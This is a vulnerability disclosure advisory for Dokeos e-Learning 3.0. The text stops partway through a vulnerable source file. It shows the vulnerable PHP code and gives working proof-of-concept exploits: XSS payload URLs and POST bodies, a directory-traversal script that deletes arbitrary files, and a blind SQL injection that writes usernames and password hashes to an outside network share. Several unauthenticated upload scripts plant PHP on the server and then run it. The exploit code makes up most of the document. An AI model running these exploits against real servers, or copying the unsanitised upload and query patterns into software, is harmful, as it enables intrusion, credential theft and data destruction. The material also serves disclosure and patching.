SSD Advisory – Multiple Dokeos Vulnerabilities

SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
Dokeos e-Learning is an open source elearning solution. It is the result of work by a large community bringing together hundreds of developers in more than 5 countries, as well as users and translators. This open source elearning solution is distributed in over 20 languages ​​and 60 countries worldwide.
Vulnerability Details
Multiple vulnerabilities have been found in Dokeos:
 

  • Unrestricted File Upload leading to Code Execution Vulnerability
  • Directory Traversal leading to Arbitrary File Deletion
  • Blind SQL Injection Vulnerability
  • Multiple Cross Site Scripting Vulnerabilities


Multiple Cross Site Scripting Vulnerabilities
Multiple cross site scripting have been found in Dokeos e-Learning, the following URLs illustrate both the location of the vulnerability as well as parameter that can be used to inject the arbitrary JavaScript.

http://127.0.0.1/dokeos/main/admin/registration_step3.php?iden=&wish=%22%3E%3C%2Fa%3E%3Cscript%3Ealert%28%27wopewzcbkz%27%29%3C%2Fscript%3E&id=0&next=3
http://127.0.0.1/dokeos/main/admin/registration_step3.php?iden=%22%3E%3C%2Fa%3E%3Cscript%3Ealert%28%27wklcv3gyt2%27%29%3C%2Fscript%3E&wish=&id=0&next=3
http://127.0.0.1/dokeos/main/appcore/library/PHPExcel/Classes/PHPExcel/Shared/JAMA/docs/download.php/%27%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
http://127.0.0.1/dokeos/main/core/views/announcement/index.php?page=;%3C/script%3E%3Cscript%3Ealert%28%22lol%22%29;%3C/script%3E%3C!--
http://127.0.0.1/dokeos/main/exercice/update_coursedb.php/%27%3E%3C/a%3E%3Cscript%3Ealert%28%27lol%27%29;%3C/script%3E%3C!--
POST /dokeos/main/application/mobile/assets/jquery/jquery.mobile/demos/docs/forms/forms-sample-selfsubmit.php HTTP/1.1
Host: 192.168.1.100:80
Referer: http://192.168.1.100:80/dokeos/main/application/mobile/assets/jquery/jquery.mobile/demos/docs/forms/forms-sample-selfsubmit.php
Content-Type: application/x-www-form-urlencoded
title=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27w38jenx64a%27%29%3C%2Fscript%3E&layout=List&layout=Grid&layout=Gallery&timeout=0&transition=Pop&transition=Fade&transition=Slide
POST /dokeos/main/application/mobile/assets/jquery/jquery.mobile/demos/docs/forms/forms-sample-selfsubmit.php HTTP/1.1
Host: 192.168.1.100:80
Referer: http://192.168.1.100:80/dokeos/main/application/mobile/assets/jquery/jquery.mobile/demos/docs/forms/forms-sample-selfsubmit.php
Content-Type: application/x-www-form-urlencoded
title=default&layout=List&layout=Grid&layout=Gallery&timeout=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27wpkozyjmm6%27%29%3C%2Fscript%3E&transition=Pop&transition=Fade&transition=Slide
POST /dokeos/main/code_templates/form.php?additionalparameter= HTTP/1.1
Host: 192.168.1.100:80
Referer: http://192.168.1.100:80/dokeos/main/code_templates/form.php
Content-Type: application/x-www-form-urlencoded
text1=%3Cscript%3Ealert%28%27wkcii4c7ez%27%29%3C%2Fscript%3E&text2=The%20default%20value%20of%20text2&text3=Default%20values%20are%20set%20using%20%24form-%3EsetDefaults%28%24defaults%29%3B&_qf__name_of_the_form=default
POST /dokeos/main/code_templates/form.php?additionalparameter= HTTP/1.1
Host: 192.168.1.100:80
Referer: http://192.168.1.100:80/dokeos/main/code_templates/form.php
Content-Type: application/x-www-form-urlencoded
text1=Default%20input%20field%20is%20795px%20wide&text2=%3Cscript%3Ealert%28%27w3jnjjezjv%27%29%3C%2Fscript%3E&text3=Default%20values%20are%20set%20using%20%24form-%3EsetDefaults%28%24defaults%29%3B&_qf__name_of_the_form=default
POST /dokeos/main/code_templates/form.php?additionalparameter= HTTP/1.1
Host: 192.168.1.100:80
Referer: http://192.168.1.100:80/dokeos/main/code_templates/form.php
Content-Type: application/x-www-form-urlencoded
text1=Default%20input%20field%20is%20795px%20wide&text2=The%20default%20value%20of%20text2&text3=%3Cscript%3Ealert%28%27w9f1eclxd6%27%29%3C%2Fscript%3E&_qf__name_of_the_form=default

Directory Traversal leading to Arbitrary File Deletion
Dokeos e-Learning contains a PHP file which allows to delete arbitrary files without prior authentication / authorization.
This can be done by setting the “op” parameter of a POST request to “delete” and by specifying the “name” parameter with directory traversal
sequences.
This is probably limited to Windows boxes due to an non-existent “uploads” folder.
Vulnerable Code
See /main/application/author/assets/js/uploadify/delete.php:

<?php
$output_dir = "uploads/";
if(isset($_POST["op"]) && $_POST["op"] == "delete" && isset($_POST['name']))
{
	$fileName =$_POST['name'];
	$filePath = $output_dir. $fileName;
	if (file_exists($filePath))
	{
        unlink($filePath);
    }
	echo "Deleted File ".$fileName."<br>";
}
?>

Exploit Code

<?php
/*
Dokeos e-Learning Suite Community Edition 3.0 /main/application/author/assets/js/uploadify/delete.php "name"
Parameter Directory Traversal Arbitary File Deletion Proof Of Concept
*/
$host = "127.0.0.1";
$port = 80;
$path = $argv[1];
//probably this will work only on windows, because of the non-existent "uploads" folder
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"op\";
Content-Type: application/octet-stream
delete
-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"name\";
Content-Type: application/octet-stream
../../../../../../../../../../../../windows/win.ini
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/application/author/assets/js/uploadify/delete.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>

Blind SQL Injection Vulnerability
Dokeos e-Learning contains a PHP file which allows to inject arbitrary SQL statements inside a SELECT query.
If the “ptype” parameter is set, through the “val” parameter of a POST request is possible to extract usernames and password hashes from the underlying MySQL database.
Injection is blind, but ex. you could store the result set into a remote network share via INTO OUTFILE.
Vulnerable Code
See /main/admin/ajax.php:

<?php
/* For licensing terms, see /dokeos_license.txt */
/**
* @package dokeos.admin
*/
// we are not inside a course, so we reset the course id
$cidReset = true;
// including the global file that gets the general configuration, the databases, the languages, ...
include ('../inc/global.inc.php');
// Database Table Definitions
$tbl_session_rel_course_rel_user = Database::get_main_table(TABLE_MAIN_SESSION_COURSE_USER);
$tbl_session                     = Database::get_main_table(TABLE_MAIN_SESSION);
$tbl_session_rel_user            = Database::get_main_table(TABLE_MAIN_SESSION_USER);
$tbl_session_rel_course          = Database::get_main_table(TABLE_MAIN_SESSION_COURSE);
$tbl_course                      = Database::get_main_table(TABLE_MAIN_COURSE);
switch ($_POST['action']){
	case 'savepluginorder':
		savepluginorder();
		break;
}
function savepluginorder(){
	// database table definition
	$table_setting = Database::get_main_table(TABLE_MAIN_SETTINGS_CURRENT);
	// first we delete the existing plugin order
	$sql = "DELETE FROM $table_setting WHERE variable='pluginorder'";
	$result = api_sql_query ( $sql );
	// now we save the pluginorder
	$sql = "INSERT INTO $table_setting (variable, selected_value, category) VALUES ('pluginorder','" . Database::escape_string ( implode(',',$_POST['plugin']) ) . "','system')";
	$result = api_sql_query ( $sql );
	Display::display_confirmation_message('PluginOrderChanged');
}
if(isset($_GET['ptype']) && $_GET['ptype'] != '' && isset($_GET['val']) && $_GET['val']!=''){
    $val = Security::remove_XSS($_REQUEST['val']); <----------------------------------------------- parameter is taken here, remove_XSS() does not prevent sql injection
    global $tbl_course, $tbl_session_rel_course, $id_session;
            $sql = 'SELECT course.code, course.visual_code, course.title
               FROM ' . $tbl_course . ' course
               WHERE course.visual_code LIKE "' . $val . '%"   ORDER BY course.code;'; <------------------------ injection here
			    $rs = Database::query($sql, __FILE__, __LINE__);
                while($course = Database :: fetch_array($rs)) {
                    $course_list[] = $course['code'];
                    $course_title = str_replace("'", "\'", $course['title']);
                    $return .= api_utf8_encode('<a href="javascript: void(0);" onclick="javascript: add_course_to_session(\'' . $course['code'] . '\',\'' . $course_title . ' (' . $course['visual_code'] . ')' . '\')">' . $course['title'] . ' (' . $course['visual_code'] . ')</a><br />');
                }
                //$xajax_response->addAssign('ajax_list_courses_single', 'innerHTML', api_utf8_encode($return));
            //    $xajax_response->addAssign('ajax_list_courses_single', 'innerHTML', 'Ed');
    echo $return;
                //"<a href="javascript: void(0);" onclick="javascript: add_course_to_session(\'' . $course['code'] . '\',\'' . $course_title . ' (' . $course['visual_code'] . ')' . '\')">' . $course['title'] . ' (' . $course['visual_code'] . ')</a><br />";
}
?>

Exploit Code

<?php
/*
Dokeos e-Learning Suite Community Edition 3.0 /main/admin/ajax.php 'val' Parameter Remote Blind SQL
Injection Proof Of Concept
*/
$host = "127.0.0.1";
$port = 80;
$path = $argv[1];
$path_to_file="\\\\\\\\192.168.1.109\\\\uncshare\\\\a.txt"; //change here
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"val\";
Content-Type: application/octet-stream
1%\" UNION SELECT username,password,email INTO OUTFILE '".$path_to_file."' FROM user -- AAAA
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/admin/ajax.php?ptype=1&val=1 HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>

Unrestricted File Upload leading to Code Execution Vulnerability
Dokeos e-Learning contains multiple PHP file that allow to upload arbitrary files without prior authentication / authorization.
/main/exercice/upload.php
Through the “coursepath” parameter of a multipart POST request is possible to specify an arbitrary file name; the file name can be truncated via null char injection. Through the “fileToUpload” parameter it is possible to control the file content. Given this, it is possible to store arbitrary PHP code inside an accessible web path and to execute arbitrary code with the privileges of the target server.
Vulnerable Code
See /main/exercice/upload.php:

<?php
require_once('../inc/global.inc.php');
$_course_path = $_POST['coursepath']; <--------------------------------
$path_upload_xls = api_get_path(SYS_PATH).'courses/'.$_course_path.'/document/'; <----------- no sanitization here
require_once(api_get_path(LIBRARY_PATH) . 'excel_reader2.php');
$allowed = array('xls');
        $extension = pathinfo($_FILES['fileToUpload']['name'], PATHINFO_EXTENSION);
        if(in_array(strtolower($extension), $allowed)){
            move_uploaded_file( $_FILES["fileToUpload"]["tmp_name"], $path_upload_xls . $_FILES['fileToUpload']['name']); <----------------------- boom
	}else{
            unset($_FILES["images"]["error"]);
            echo 'Is not XLS File.';exit;
        }
$xls_path = $path_upload_xls.$_FILES['fileToUpload']['name'];
chmod($xls_path,'0777');
$data = new Spreadsheet_Excel_Reader($xls_path);
echo $data->dump(false,false);
...

Exploit Code

<?php
/*
Dokeos e-Learning Suite Community Edition 3.0 /main/exercice/upload.php Unrestricted
File Upload Remote Code Execution Proof Of Concept
Example of usage: php dokeos.php /path_to_dokeos/ > output.html
This will store phpinfo() inside output.html
*/
$host = "127.0.0.1";
$port = 80;
$path = $argv[1];
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"coursepath\";
Content-Type: application/octet-stream
config.php".chr(0)."
-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"fileToUpload\"; filename=\"config.xls\"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/exercice/upload.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
//echo $out;
if (strpos($out,"config.xls is not readable")){
  echo "[*] Uploaded.\n";
} else {
  die($out);
}
$pk="GET ".$path."courses/config.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>

/main/application/ecommerce/views/Course/upload.php
Through the “userfile” parameter of a multipart POST request is possible to control the file name and file content.
Given this, it is possible to store arbitrary PHP code into an accessible web path and to execute arbitrary code with the privileges of the target server.
Vulnerable Code
See /main/application/ecommerce/views/Course/upload.php:

<?php
function heal_string($string)
{
    $string = trim($string);
    $string = str_replace(
        array('á', 'à', 'ä', 'â', 'ª', 'Á', 'À', 'Â', 'Ä'),
        array('a', 'a', 'a', 'a', 'a', 'A', 'A', 'A', 'A'),
        $string
    );
    $string = str_replace(
        array('é', 'è', 'ë', 'ê', 'É', 'È', 'Ê', 'Ë'),
        array('e', 'e', 'e', 'e', 'E', 'E', 'E', 'E'),
        $string
    );
    $string = str_replace(
        array('í', 'ì', 'ï', 'î', 'Í', 'Ì', 'Ï', 'Î'),
        array('i', 'i', 'i', 'i', 'I', 'I', 'I', 'I'),
        $string
    );
    $string = str_replace(
        array('ó', 'ò', 'ö', 'ô', 'Ó', 'Ò', 'Ö', 'Ô'),
        array('o', 'o', 'o', 'o', 'O', 'O', 'O', 'O'),
        $string
    );
    $string = str_replace(
        array('ú', 'ù', 'ü', 'û', 'Ú', 'Ù', 'Û', 'Ü'),
        array('u', 'u', 'u', 'u', 'U', 'U', 'U', 'U'),
        $string
    );
    $string = str_replace(
        array('ñ', 'Ñ', 'ç', 'Ç'),
        array('n', 'N', 'c', 'C',),
        $string
    );
    $string = str_replace(
        array("\\", "?", "º", "-", "~",
             "#", "@", "|", "!", "\"",
             "·", "$", "%", "&", "/",
             "(", ")", "?", "'", "¡",
             "¿", "[", "^", "`", "]",
             "+", "}", "{", "?", "?",
             ">", "< ", ";", ",", ":", " "),
        '',
        $string
    );
    return $string;
}
// defino la carpeta para subir
$uploaddir = '../../assets/images/';
// defino el nombre del archivo
$uploadfile = $uploaddir . 'course_'.  basename(heal_string($_FILES['userfile']['name'])); <-------------- heal_string() is unuseful
// Lo mueve a la carpeta elegida
umask(0);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { <-------------------------- boom
  echo "success";
} else {
  echo "error";
}
?>

Exploit Code

<?php
/*
Dokeos e-Learning Suite Community Edition 3.0 /main/application/ecommerce/views/Course/upload.php Unrestricted
File Upload Remote Code Execution Proof Of Concept
*/
$host = "127.0.0.1";
$port = 80;
$path = $argv[1];
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"userfile\"; filename=\"config.php\"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/application/ecommerce/views/Course/upload.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
$pk="GET ".$path."main/application/ecommerce/assets/images/course_config.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>

/main/application/ecommerce/views/Module/upload.php
Through the “userfile” parameter of a multipart POST request is possible to control the file name and file content.
Given this, it is possible to store arbitrary PHP code into an accessible web path and to execute arbitrary code with the privileges of the target server.
Vulnerable Code
See /main/application/ecommerce/views/Module/upload.php:

<?php
// defino la carpeta para subir
$uploaddir = '../../assets/images/';
// defino el nombre del archivo
$uploadfile = $uploaddir . 'module_'.basename($_FILES['userfile']['name']);
// Lo mueve a la carpeta elegida
umask(0);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "success";
} else {
  echo "error";
}
?>

Exploit Code

<?php
/*
Dokeos e-Learning Suite Community Edition 3.0 /main/application/ecommerce/views/Module/upload.php Unrestricted
File Upload Remote Code Execution Proof Of Concept
*/
$host = "127.0.0.1";
$port = 80;
$path = $argv[1];
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"userfile\"; filename=\"config.php\"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/application/ecommerce/views/Module/upload.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
fclose($fp);
$pk="GET ".$path."main/application/ecommerce/assets/images/module_config.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>

/main/application/ecommerce/views/Session/upload.php
Through the “userfile” parameter of a multipart POST request is possible to control the file name and file content.
Given this, it is possible to store arbitrary PHP code into an accessible web path and to execute arbitrary code with the privileges of the target server.
Vulnerable Code
See /main/application/ecommerce/views/Session/upload.php:

<?php
// defino la carpeta para subir
$uploaddir = '../../../../../home/default_platform_document/ecommerce_thumb/';
// defino el nombre del archivo
$uploadfile = $uploaddir . 'session_'.basename($_FILES['userfile']['name']);
// Lo mueve a la carpeta elegida
umask(0);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "success";
} else {
  echo "error";
}
?>

Exploit Code

<?php
/*
Dokeos e-Learning Suite Community Edition 3.0 /main/application/ecommerce/views/Session/upload.php Unrestricted
File Upload Remote Code Execution Proof Of Concept
*/
$host = "127.0.0.1";
$port = 80;
$path = $argv[1];
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"userfile\"; filename=\"config.php\"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/application/ecommerce/views/Session/upload.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
fclose($fp);
$pk="GET ".$path."home/default_platform_document/ecommerce_thumb/session_config.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>

/main/application/author/assets/js/uploadify/upload.php
Through the “name1″,”name2” and “myfile” parameters of a multipart POST request it is possible to control the file name and file content. “name1” and “name2” also suffers of a directory traversal vulnerability.
Given this, it is possible to store arbitrary php code into an accessible web path and to execute arbitrary code with the privileges of the target server. This specific vulnerability is limited to Windows systems due to an non-existing “elmer” folder. However in a production environment we believe this folder is created automatically by other scripts.
Vulnerable Code
See /main/application/author/assets/js/uploadify/upload.php:

<?php
$output_dir = "elmer/";
if (isset($_FILES["myfile"])) {
    $ret = array();
    $error = $_FILES["myfile"]["error"];
    //You need to handle  both cases
    //If Any browser does not support serializing of multiple files using FormData()
    if (!is_array($_FILES["myfile"]["name"])) { //single file
        //$fileName = $_FILES["myfile"]["name"];
        $fileName = $_POST["name1"] . $_POST["name2"];
        move_uploaded_file($_FILES["myfile"]["tmp_name"], $output_dir . $fileName); <---------------------- boom
        $ret[] = $fileName;
    } else {  //Multiple files, file[]
        $fileCount = count($_FILES["myfile"]["name"]);
        for ($i = 0; $i < $fileCount; $i++) {
            //$fileName = $_FILES["myfile"]["name"][$i];
            $fileName = $_POST["name1"] . $_POST["name2"];
            move_uploaded_file($_FILES["myfile"]["tmp_name"][$i], $output_dir . $fileName); <-------------------- boom
            $ret[] = $fileName;
        }
    }
    echo json_encode($ret);
}
?>

Exploit Code

<?php
/*
Dokeos e-Learning Suite Community Edition 3.0 /main/application/author/assets/js/uploadify/upload.php Unrestricted
File Upload Remote Code Execution Proof Of Concept
*/
$host = "127.0.0.1";
$port = 80;
$path = $argv[1];
//probably this will work only on windows, because of the non-existent "elmer" folder
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"name1\";
Content-Type: application/octet-stream
../
-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"name2\";
Content-Type: application/octet-stream
config.php
-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"myfile\"; filename=\"config.php\"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/application/author/assets/js/uploadify/upload.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
fclose($fp);
$pk="GET ".$path."main/application/author/assets/js/uploadify/config.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>

/main/application/dms/views/Index/upload.php
Through the “userfile” parameter of a multipart POST request is possible to control the file name and file content.
Given this, it is possible to store arbitrary php code into an accessible web path and to execute arbitrary code with the privileges of the target server.
Vulnerable Code
See /main/application/dms/views/Index/upload.php:

<?php
// defino la carpeta para subir
$uploaddir = '../../assets/files/dms/';
// defino el nombre del archivo
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
// Lo mueve a la carpeta elegida
umask(0);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "success";
} else {
  echo "error";
}
?>

Exploit Code

<?php
/*
Dokeos e-Learning Suite Community Edition 3.0 /main/application/dms/views/Index/upload.php Unrestricted
File Upload Remote Code Execution Proof Of Concept
*/
$host = "127.0.0.1";
$port = 80;
$path = $argv[1];
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"userfile\"; filename=\"config.php\"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/application/dms/views/Index/upload.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
fclose($fp);
$pk="GET ".$path."main/application/dms/assets/files/dms/config.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>

/main/admin/upload.php
Through the “userfile” parameter of a multipart POST request is possible to control the file name and file content.
Given this, it is possible to store arbitrary php code into an accessible web path and to execute arbitrary code with the privileges of the target server.
Vulnerable Code
See /main/admin/upload.php:

<?php
// including the global Dokeos file
require ('../inc/global.inc.php');
$access_url_id = api_get_current_access_url_id();
if ($access_url_id < 0){
    $access_url_id = 1;
}
// including additional libraries
require_once (api_get_path(LIBRARY_PATH).'SimpleImage.lib.php');
// Upload image in logo folder
$uploaddir = '../../home/logo/';
// file extension
$ext = extension($_FILES['userfile']['name']);
list($width, $height, $type, $attr) = getimagesize($_FILES['userfile']['tmp_name']);
$logo_sys_path = api_get_path(SYS_PATH).'home/logo/';
// Create dir if not exists
if (!is_dir($logo_sys_path)) {
    mkdir($logo_sys_path);
    $perm = api_get_setting('permissions_for_new_directories');
    $perm = octdec(!empty($perm)?$perm:'0770');
    chmod ($logo_sys_path,$perm);
    file_put_contents($logo_sys_path.'index.html', "Empty file");
}
$html_file = $logo_sys_path.'index.html';
if (!is_file($html_file)) {
    file_put_contents($logo_sys_path.'index.html', "Empty file");
}
// Delete file if exists
$files = glob(api_get_path(SYS_PATH).'home/logo/logo-dokeos-'.$access_url_id.'-*');
if(count($files) < 1 && !$_configuration['multiple_access_urls']){
    $files = glob(api_get_path(SYS_PATH) . 'home/logo/' . '*');
}
if (count($files)>0){
    foreach ($files as $path_file) {
          $infoFile = pathinfo($path_file);
          if($infoFile['extension'] != 'html'){
             unlink($path_file);
          }
   }
}
// File name
$uploadfile = $uploaddir . 'logo-dokeos-'.$access_url_id.'-'.time().'.'.$ext;
// Move file to selected path
umask(0);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { <----------------------------- boom
try {
    if ($width >= 250) {
	$img = new SimpleImage();
	// Resize
	$img->load($uploadfile)->resize(200, 50)->save($uploadfile);
	// Crop
	//$img->load($uploadfile)->crop(160, 110, 460, 360)->save($uploadfile);
    }
  echo "success";
} catch(Exception $e) {
	echo '<span style="color: red;">' . $e->getMessage() . '</span>';
}
} else {
  echo "error";
}
    function extension ($file) {
       $file = strtolower($file) ;
       $extension = split("[/\\.]", $file) ;
       $n = count($extension)-1;
       $extension = $extension[$n];
       return $extension;
}
?>

Exploit Code

<?php
/*
Dokeos e-Learning Suite Community Edition 3.0  Unrestricted /main/admin/upload.php Unrestricted
File Upload Remote Code Execution Proof Of Concept
*/
$host = "127.0.0.1";
$port = 80;
$path = $argv[1];
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"userfile\"; filename=\"php\";
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/admin/upload.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
//echo $out;
$tmp=explode("Date: ",$out);
$tmp=explode("\n",$tmp[1]);
$date=trim($tmp[0]);
//echo "\n".$date."\n";
$timestamp = strtotime($date);
echo "[*] timestamp -> ".$timestamp."\n";
sleep(2);
$pk="GET ".$path."home/logo/logo-dokeos-1-".$timestamp.".php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>

/main/newscorm/lp_upload.php
Through the “user_file” parameter of a multipart POST request is possible to control the file name and file content.
Given this, it is possible to store arbitrary PHP code into an accessible web path and to execute arbitrary code with the privileges of the target server.
Vulnerable Code
See /main/newscorm/lp_upload.php:

<?php
/* For licensing terms, see /dokeos_license.txt */
/**
 * Learning Path
 * Script managing the learnpath upload. To best treat the uploaded file, make sure we can identify it.
 * Upload: This script allow to upload files into Learning path
 * @package dokeos.learnpath
 * @author Yannick Warnier
 */
//flag to allow for anonymous user - needs to be set before global.inc.php
$use_anonymous = true;
require_once('back_compat.inc.php');
$course_dir  = api_get_course_path().'/scorm';
$course_sys_dir = api_get_path(SYS_COURSE_PATH).$course_dir;
if ( empty($_POST['current_dir']) ) {
	$current_dir = '';
} else {
    $current_dir = replace_dangerous_char(trim($_POST['current_dir']),'strict');
}
$uncompress  = 1;
//error_log('New LP - lp_upload.php',0);
/*
 * check the request method in place of a variable from POST
 * because if the file size exceed the maximum file upload
 * size set in php.ini, all variables from POST are cleared !
 */
if ($_SERVER['REQUEST_METHOD'] == 'POST'
	&& count($_FILES)>0
	&& !empty($_FILES['user_file']['name'])
	)
{
	// A file upload has been detected, now deal with the file...
	//directory creation
	$stopping_error = false;
	$s=$_FILES['user_file']['name'];
	//get name of the zip file without the extension
	$info = pathinfo($s);
	$filename = $info['basename'];
	$extension = $info['extension'];
	$file_base_name = str_replace('.'.$extension,'',$filename);
	$new_dir = replace_dangerous_char(trim($file_base_name),'strict');
	require_once('learnpath.class.php');
	$type = learnpath::get_package_type($_FILES['user_file']['tmp_name'],$_FILES['user_file']['name']);
	switch($type){
		case 'scorm':
			require_once('scorm.class.php');
                        require_once api_get_path(LIBRARY_PATH).'searchengine.lib.php';
			$oScorm = new scorm();
			$manifest = $oScorm->import_package($_FILES['user_file'],$current_dir);
			if(!empty($manifest)){
				$oScorm->parse_manifest($manifest);
				$oScorm->import_manifest(api_get_course_id());
			}else{
				//show error message stored in $oScrom->error_msg
			}
			$proximity = '';
			if(!empty($_REQUEST['content_proximity'])){$proximity = Database::escape_string($_REQUEST['content_proximity']);}
			$maker = '';
